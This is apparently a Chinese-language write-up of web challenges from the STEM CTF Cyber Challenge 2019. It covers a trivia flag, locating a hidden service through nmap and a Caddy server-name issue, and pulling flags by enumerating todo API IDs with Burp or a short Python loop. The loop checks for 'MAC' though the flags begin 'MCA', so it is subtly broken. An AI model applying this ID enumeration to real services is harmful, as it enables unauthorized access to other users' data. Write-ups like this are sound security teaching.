STEM CTF: Cyber Challenge 2019 Write-ups
好久没有玩CTF,跪了(QAQ)本文是关于web题目的解析后面两题是赛后,看着大佬的思路进行复现的,文末已经给出相应的参考文章
什么都不说了,先跪就好(Orz)
Turing Test
这一题被称为热身题,只需要结合这个维基百科就可以得到flag:https://en.wikipedia.org/wiki/Alan_Turing
成功拿到flag:
Flag: MCA{sms_2fa_is_bad_also}
Super Secret Hidden Service
由给出的链接进入网站发现Google对于这个网站的返回报错处理:
这只是意味着caddy服务响应客户端发送的服务器名称,因为我们发送了这个IP,我们得到了错误响应,所以我们需要知道这个域名。
具体原因可以参考:https://nvd.nist.gov/vuln/detail/CVE-2018-19148
我们使用nmap进行简单的扫描就会得到
访问扫描得到的DNS:138.247.13.115.xip.io
就可以得到flag:
TODO
随手输入内容进行简单的测试,发现输入的内容重定向到:http://138.247.13.110/todolist/1000/
查看网页源代码发现两个自定义的js脚本
lists.js 这个是对我们有用的脚本,仔细读取后面的内容可以发现
// send put request using the data of the get for the same id
var todoURL = '/api/todos/' + todoID + '/'
$.getJSON(todoURL, function(data) {
data.is_finished = isFinished;
if (isFinished) {
data.finished_at = moment().toISOString();
} else {
data.finished_at = null;
}
$.ajax({
url: todoURL,
type: 'PUT',
contentType: 'application/json',
data: JSON.stringify(data),
success: function() {
location.reload();
}
});
我们可以访问这里面的数据
因此我们只需要使用burp,对http://138.247.13.110/api/todos/<id>/其中的id从1遍历到1000即可</id>
得到flag:MCA{al3x4_5et_a_r3minder}
或者写一个脚本:
import requests
import re
url = 'http://138.247.13.110/todolist/'
for i in range(1,1001):
print('Requesting ' + url + str(i))
response = requests.get(url + str(i))
stripped = re.sub('<[^<]+?>', '', response.text)
if 'MAC' in stripped:
print(stripped.strip())
break
点击收藏 | 0
关注 | 1